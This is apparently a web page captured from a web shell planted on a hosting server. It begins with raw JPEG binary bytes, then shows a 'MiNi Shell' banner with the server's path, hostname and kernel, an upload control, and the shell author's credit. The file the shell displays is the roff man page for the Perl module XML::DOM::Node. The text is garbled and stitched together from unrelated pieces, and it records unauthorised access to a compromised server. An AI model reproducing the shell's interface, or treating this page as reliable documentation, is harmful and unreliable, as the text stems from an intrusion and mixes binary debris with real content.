JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/XML::DOM::Node.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "XML::DOM::Node 3"
.TH XML::DOM::Node 3 "2002-02-08" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
XML::DOM::Node \- Super class of all nodes in XML::DOM
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
XML::DOM::Node is the super class of all nodes in an \s-1XML::DOM\s0 document.
This means that all nodes that subclass XML::DOM::Node also inherit all
the methods that XML::DOM::Node implements.
.Sh "\s-1GLOBAL\s0 \s-1VARIABLES\s0"
.IX Subsection "GLOBAL VARIABLES"
.IP "@NodeNames" 4
.IX Item "@NodeNames"
The variable \f(CW@XML::DOM::Node::NodeNames\fR maps the node type constants to strings.
It is used by XML::DOM::Node::getNodeTypeName.
.Sh "\s-1METHODS\s0"
.IX Subsection "METHODS"
.IP "getNodeType" 4
.IX Item "getNodeType"
Return an integer indicating the node type. See \s-1XML::DOM\s0 constants.
.IP "getNodeName" 4
.IX Item "getNodeName"
Return a property or a hardcoded string, depending on the node type.
Here are the corresponding functions or values:
.Sp
.Vb 16
\& Attr                   getName
\& AttDef                 getName
\& AttlistDecl            getName
\& CDATASection           "#cdata-section"
\& Comment                "#comment"
\& Document               "#document"
\& DocumentType           getNodeName
\& DocumentFragment       "#document-fragment"
\& Element                getTagName
\& ElementDecl            getName
\& EntityReference        getEntityName
\& Entity                 getNotationName
\& Notation               getName
\& ProcessingInstruction  getTarget
\& Text                   "#text"
\& XMLDecl                "#xml-declaration"
.Ve
.Sp
\&\fBNot In \s-1DOM\s0 Spec\fR: AttDef, AttlistDecl, ElementDecl and XMLDecl were added for
completeness.
.IP "getNodeValue and setNodeValue (value)" 4
.IX Item "getNodeValue and setNodeValue (value)"
Returns a string or undef, depending on the node type. This method is provided 
for completeness. In other languages it saves the programmer an upcast.
The value is either available thru some other method defined in the subclass, or
else undef is returned. Here are the corresponding methods: 
Attr::getValue, Text::getData, CDATASection::getData, Comment::getData, 
ProcessingInstruction::getData.
.IP "getParentNode and setParentNode (parentNode)" 4
.IX Item "getParentNode and setParentNode (parentNode)"
The parent of this node. All nodes, except Document,
DocumentFragment, and Attr may have a parent. However, if a
node has just been created and not yet added to the tree, or
if it has been removed from the tree, this is undef.
.IP "getChildNodes" 4
.IX Item "getChildNodes"
A NodeList that contains all children of this node. If there
are no children, this is a NodeList containing no nodes. The
content of the returned NodeList is \*(L"live\*(R" in the sense that,
for instance, changes to the children of the node object that
it was created from are immediately reflected in the nodes
returned by the NodeList accessors; it is not a static
snapshot of the content of the node. This is true for every
NodeList, including the ones returned by the
getElementsByTagName method.
.Sp
\&\s-1NOTE:\s0 this implementation does not return a \*(L"live\*(R" NodeList for
getElementsByTagName. See \s-1CAVEATS\s0.
.Sp
When this method is called in a list context, it returns a regular perl list
containing the child nodes. Note that this list is not \*(L"live\*(R". E.g.
.Sp
.Vb 3
\& @list = $node->getChildNodes;        # returns a perl list
\& $nodelist = $node->getChildNodes;    # returns a NodeList (object reference)
\& for my $kid ($node->getChildNodes)   # iterate over the children of $node
.Ve
.IP "getFirstChild" 4
.IX Item "getFirstChild"
The first child of this node. If there is no such node, this returns undef.
.IP "getLastChild" 4
.IX Item "getLastChild"
The last child of this node. If there is no such node, this returns undef.
.IP "getPreviousSibling" 4
.IX Item "getPreviousSibling"
The node immediately preceding this node. If there is no such 
node, this returns undef.
.IP "getNextSibling" 4
.IX Item "getNextSibling"
The node immediately following this node. If there is no such node, this returns 
undef.
.IP "getAttributes" 4
.IX Item "getAttributes"
A NamedNodeMap containing the attributes (Attr nodes) of this node 
(if it is an Element) or undef otherwise.
Note that adding/removing attributes from the returned object, also adds/removes
attributes from the Element node that the NamedNodeMap came from.
.IP "getOwnerDocument" 4
.IX Item "getOwnerDocument"
The Document object associated with this node. This is also
the Document object used to create new nodes. When this node
is a Document this is undef.
.IP "insertBefore (newChild, refChild)" 4
.IX Item "insertBefore (newChild, refChild)"
Inserts the node newChild before the existing child node
refChild. If refChild is undef, insert newChild at the end of
the list of children.
.Sp
If newChild is a DocumentFragment object, all of its children
are inserted, in the same order, before refChild. If the
newChild is already in the tree, it is first removed.
.Sp
Return Value: The node being inserted.
.Sp
DOMExceptions:
.RS 4
.IP "* \s-1HIERARCHY_REQUEST_ERR\s0" 4
.IX Item "HIERARCHY_REQUEST_ERR"
Raised if this node is of a type that does not allow children of the type of
the newChild node, or if the node to insert is one of this node's ancestors.
.IP "* \s-1WRONG_DOCUMENT_ERR\s0" 4
.IX Item "WRONG_DOCUMENT_ERR"
Raised if newChild was created from a different document than the one that 
created this node.
.IP "* \s-1NO_MODIFICATION_ALLOWED_ERR\s0" 4
.IX Item "NO_MODIFICATION_ALLOWED_ERR"
Raised if this node is readonly.
.IP "* \s-1NOT_FOUND_ERR\s0" 4
.IX Item "NOT_FOUND_ERR"
Raised if refChild is not a child of this node.
.RE
.RS 4
.RE
.IP "replaceChild (newChild, oldChild)" 4
.IX Item "replaceChild (newChild, oldChild)"
Replaces the child node oldChild with newChild in the list of
children, and returns the oldChild node. If the newChild is
already in the tree, it is first removed.
.Sp
Return Value: The node replaced.
.Sp
DOMExceptions:
.RS 4
.IP "* \s-1HIERARCHY_REQUEST_ERR\s0" 4
.IX Item "HIERARCHY_REQUEST_ERR"
Raised if this node is of a type that does not allow children of the type of
the newChild node, or it the node to put in is one of this node's ancestors.
.IP "* \s-1WRONG_DOCUMENT_ERR\s0" 4
.IX Item "WRONG_DOCUMENT_ERR"
Raised if newChild was created from a different document than the one that 
created this node.
.IP "* \s-1NO_MODIFICATION_ALLOWED_ERR\s0" 4
.IX Item "NO_MODIFICATION_ALLOWED_ERR"
Raised if this node is readonly.
.IP "* \s-1NOT_FOUND_ERR\s0" 4
.IX Item "NOT_FOUND_ERR"
Raised if oldChild is not a child of this node.
.RE
.RS 4
.RE
.IP "removeChild (oldChild)" 4
.IX Item "removeChild (oldChild)"
Removes the child node indicated by oldChild from the list of
children, and returns it.
.Sp
Return Value: The node removed.
.Sp
DOMExceptions:
.RS 4
.IP "* \s-1NO_MODIFICATION_ALLOWED_ERR\s0" 4
.IX Item "NO_MODIFICATION_ALLOWED_ERR"
Raised if this node is readonly.
.IP "* \s-1NOT_FOUND_ERR\s0" 4
.IX Item "NOT_FOUND_ERR"
Raised if oldChild is not a child of this node.
.RE
.RS 4
.RE
.IP "appendChild (newChild)" 4
.IX Item "appendChild (newChild)"
Adds the node newChild to the end of the list of children of
this node. If the newChild is already in the tree, it is
first removed. If it is a DocumentFragment object, the entire contents of 
the document fragment are moved into the child list of this node
.Sp
Return Value: The node added.
.Sp
DOMExceptions:
.RS 4
.IP "* \s-1HIERARCHY_REQUEST_ERR\s0" 4
.IX Item "HIERARCHY_REQUEST_ERR"
Raised if this node is of a type that does not allow children of the type of
the newChild node, or if the node to append is one of this node's ancestors.
.IP "* \s-1WRONG_DOCUMENT_ERR\s0" 4
.IX Item "WRONG_DOCUMENT_ERR"
Raised if newChild was created from a different document than the one that 
created this node.
.IP "* \s-1NO_MODIFICATION_ALLOWED_ERR\s0" 4
.IX Item "NO_MODIFICATION_ALLOWED_ERR"
Raised if this node is readonly.
.RE
.RS 4
.RE
.IP "hasChildNodes" 4
.IX Item "hasChildNodes"
This is a convenience method to allow easy determination of
whether a node has any children.
.Sp
Return Value: 1 if the node has any children, 0 otherwise.
.IP "cloneNode (deep)" 4
.IX Item "cloneNode (deep)"
Returns a duplicate of this node, i.e., serves as a generic
copy constructor for nodes. The duplicate node has no parent
(parentNode returns undef.).
.Sp
Cloning an Element copies all attributes and their values,
including those generated by the \s-1XML\s0 processor to represent
defaulted attributes, but this method does not copy any text
it contains unless it is a deep clone, since the text is
contained in a child Text node. Cloning any other type of
node simply returns a copy of this node.
.Sp
Parameters: 
 \fIdeep\fR   If true, recursively clone the subtree under the specified node.
If false, clone only the node itself (and its attributes, if it is an Element).
.Sp
Return Value: The duplicate node.
.IP "normalize" 4
.IX Item "normalize"
Puts all Text nodes in the full depth of the sub-tree
underneath this Element into a \*(L"normal\*(R" form where only
markup (e.g., tags, comments, processing instructions, \s-1CDATA\s0
sections, and entity references) separates Text nodes, i.e.,
there are no adjacent Text nodes. This can be used to ensure
that the \s-1DOM\s0 view of a document is the same as if it were
saved and re\-loaded, and is useful when operations (such as
XPointer lookups) that depend on a particular document tree
structure are to be used.
.Sp
\&\fBNot In \s-1DOM\s0 Spec\fR: In the \s-1DOM\s0 Spec this method is defined in the Element and 
Document class interfaces only, but it doesn't hurt to have it here...
.IP "getElementsByTagName (name [, recurse])" 4
.IX Item "getElementsByTagName (name [, recurse])"
Returns a NodeList of all descendant elements with a given
tag name, in the order in which they would be encountered in
a preorder traversal of the Element tree.
.Sp
Parameters:
 \fIname\fR  The name of the tag to match on. The special value \*(L"*\*(R" matches all tags.
 \fIrecurse\fR  Whether it should return only direct child nodes (0) or any descendant that matches the tag name (1). This argument is optional and defaults to 1. It is not part of the \s-1DOM\s0 spec.
.Sp
Return Value: A list of matching Element nodes.
.Sp
\&\s-1NOTE:\s0 this implementation does not return a \*(L"live\*(R" NodeList for
getElementsByTagName. See \s-1CAVEATS\s0.
.Sp
When this method is called in a list context, it returns a regular perl list
containing the result nodes. E.g.
.Sp
.Vb 3
\& @list = $node->getElementsByTagName("tag");       # returns a perl list
\& $nodelist = $node->getElementsByTagName("tag");   # returns a NodeList (object ref.)
\& for my $elem ($node->getElementsByTagName("tag")) # iterate over the result nodes
.Ve
.Sh "Additional methods not in the \s-1DOM\s0 Spec"
.IX Subsection "Additional methods not in the DOM Spec"
.IP "getNodeTypeName" 4
.IX Item "getNodeTypeName"
Return the string describing the node type. 
E.g. returns \*(L"\s-1ELEMENT_NODE\s0\*(R" if getNodeType returns \s-1ELEMENT_NODE\s0.
It uses \f(CW@XML::DOM::Node::NodeNames\fR.
.IP "toString" 4
.IX Item "toString"
Returns the entire subtree as a string.
.IP "printToFile (filename)" 4
.IX Item "printToFile (filename)"
Prints the entire subtree to the file with the specified filename.
.Sp
Croaks: if the file could not be opened for writing.
.IP "printToFileHandle (handle)" 4
.IX Item "printToFileHandle (handle)"
Prints the entire subtree to the file handle.
E.g. to print to \s-1STDOUT:\s0
.Sp
.Vb 1
\& $node->printToFileHandle (\e*STDOUT);
.Ve
.IP "print (obj)" 4
.IX Item "print (obj)"
Prints the entire subtree using the object's print method. E.g to print to a
FileHandle object:
.Sp
.Vb 2
\& $f = new FileHandle ("file.out", "w");
\& $node->print ($f);
.Ve
.IP "getChildIndex (child)" 4
.IX Item "getChildIndex (child)"
Returns the index of the child node in the list returned by getChildNodes.
.Sp
Return Value: the index or \-1 if the node is not found.
.IP "getChildAtIndex (index)" 4
.IX Item "getChildAtIndex (index)"
Returns the child node at the specifed index or undef.
.IP "addText (text)" 4
.IX Item "addText (text)"
Appends the specified string to the last child if it is a Text node, or else 
appends a new Text node (with the specified text.)
.Sp
Return Value: the last child if it was a Text node or else the new Text node.
.IP "dispose" 4
.IX Item "dispose"
Removes all circular references in this node and its descendants so the 
objects can be claimed for garbage collection. The objects should not be used
afterwards.
.IP "setOwnerDocument (doc)" 4
.IX Item "setOwnerDocument (doc)"
Sets the ownerDocument property of this node and all its children (and 
attributes etc.) to the specified document.
This allows the user to cut and paste document subtrees between different
XML::DOM::Documents. The node should be removed from the original document
first, before calling setOwnerDocument.
.Sp
This method does nothing when called on a Document node.
.IP "isAncestor (parent)" 4
.IX Item "isAncestor (parent)"
Returns 1 if parent is an ancestor of this node or if it is this node itself.
.IP "expandEntityRefs (str)" 4
.IX Item "expandEntityRefs (str)"
Expands all the entity references in the string and returns the result.
The entity references can be character references (e.g. \*(L"&#123;\*(R" or \*(L"&#x1fc2\*(R"),
default entity references (\*(L"&quot;\*(R", \*(L"&gt;\*(R", \*(L"&lt;\*(R", \*(L"&apos;\*(R" and \*(L"&amp;\*(R") or
entity references defined in Entity objects as part of the DocumentType of
the owning Document. Character references are expanded into \s-1UTF\-8\s0.
Parameter entity references (e.g. \f(CW%ent\fR;) are not expanded.
.ie n .IP "to_sax ( %HANDLERS )" 4
.el .IP "to_sax ( \f(CW%HANDLERS\fR )" 4
.IX Item "to_sax ( %HANDLERS )"
E.g.
.Sp
.Vb 2
\& $node->to_sax (DocumentHandler => $my_handler, 
\&                Handler => $handler2 );
.Ve
.Sp
%HANDLERS may contain the following handlers:
.RS 4
.IP "* DocumentHandler" 4
.IX Item "DocumentHandler"
.PD 0
.IP "* DTDHandler" 4
.IX Item "DTDHandler"
.IP "* EntityResolver" 4
.IX Item "EntityResolver"
.IP "* Handler" 4
.IX Item "Handler"
.PD
Default handler when one of the above is not specified
.RE
.RS 4
.Sp
Each XML::DOM::Node generates the appropriate \s-1SAX\s0 callbacks (for the
appropriate \s-1SAX\s0 handler.) Different \s-1SAX\s0 handlers can be plugged in to
accomplish different things, e.g. XML::Checker would check the node 
(currently only Document and Element nodes are supported), XML::Handler::BuildDOM
would create a new \s-1DOM\s0 subtree (thereby, in essence, copying the Node)
and in the near future, XML::Writer could print the node.
All Perl \s-1SAX\s0 related work is still in flux, so this interface may change a 
little.
.Sp
See PerlSAX for the description of the \s-1SAX\s0 interface.
.RE
.IP "check ( [$checker] )" 4
.IX Item "check ( [$checker] )"
See descriptions for \fIcheck()\fR in XML::DOM::Document and XML::DOM::Element.
.ie n .IP "xql ( @XQL_OPTIONS )" 4
.el .IP "xql ( \f(CW@XQL_OPTIONS\fR )" 4
.IX Item "xql ( @XQL_OPTIONS )"
To use the xql method, you must first \fIuse\fR \s-1XML::XQL\s0 and \s-1XML::XQL::DOM\s0.
This method is basically a shortcut for:
.Sp
.Vb 2
\& $query = new XML::XQL::Query ( @XQL_OPTIONS );
\& return $query->solve ($node);
.Ve
.Sp
If the first parameter in \f(CW@XQL_OPTIONS\fR is the \s-1XQL\s0 expression, you can leave off
the 'Expr' keyword, so:
.Sp
.Vb 1
\& $node->xql ("doc//elem1[@attr]", @other_options);
.Ve
.Sp
is identical to:
.Sp
.Vb 1
\& $node->xql (Expr => "doc//elem1[@attr]", @other_options);
.Ve
.Sp
See XML::XQL::Query for other available \s-1XQL_OPTIONS\s0.
See \s-1XML::XQL\s0 and XML::XQL::Tutorial for more info.
.IP "isHidden ()" 4
.IX Item "isHidden ()"
Whether the node is hidden.
See Hidden Nodes for details.

Creat By MiNi SheLL
Email: devilkiller@gmail.com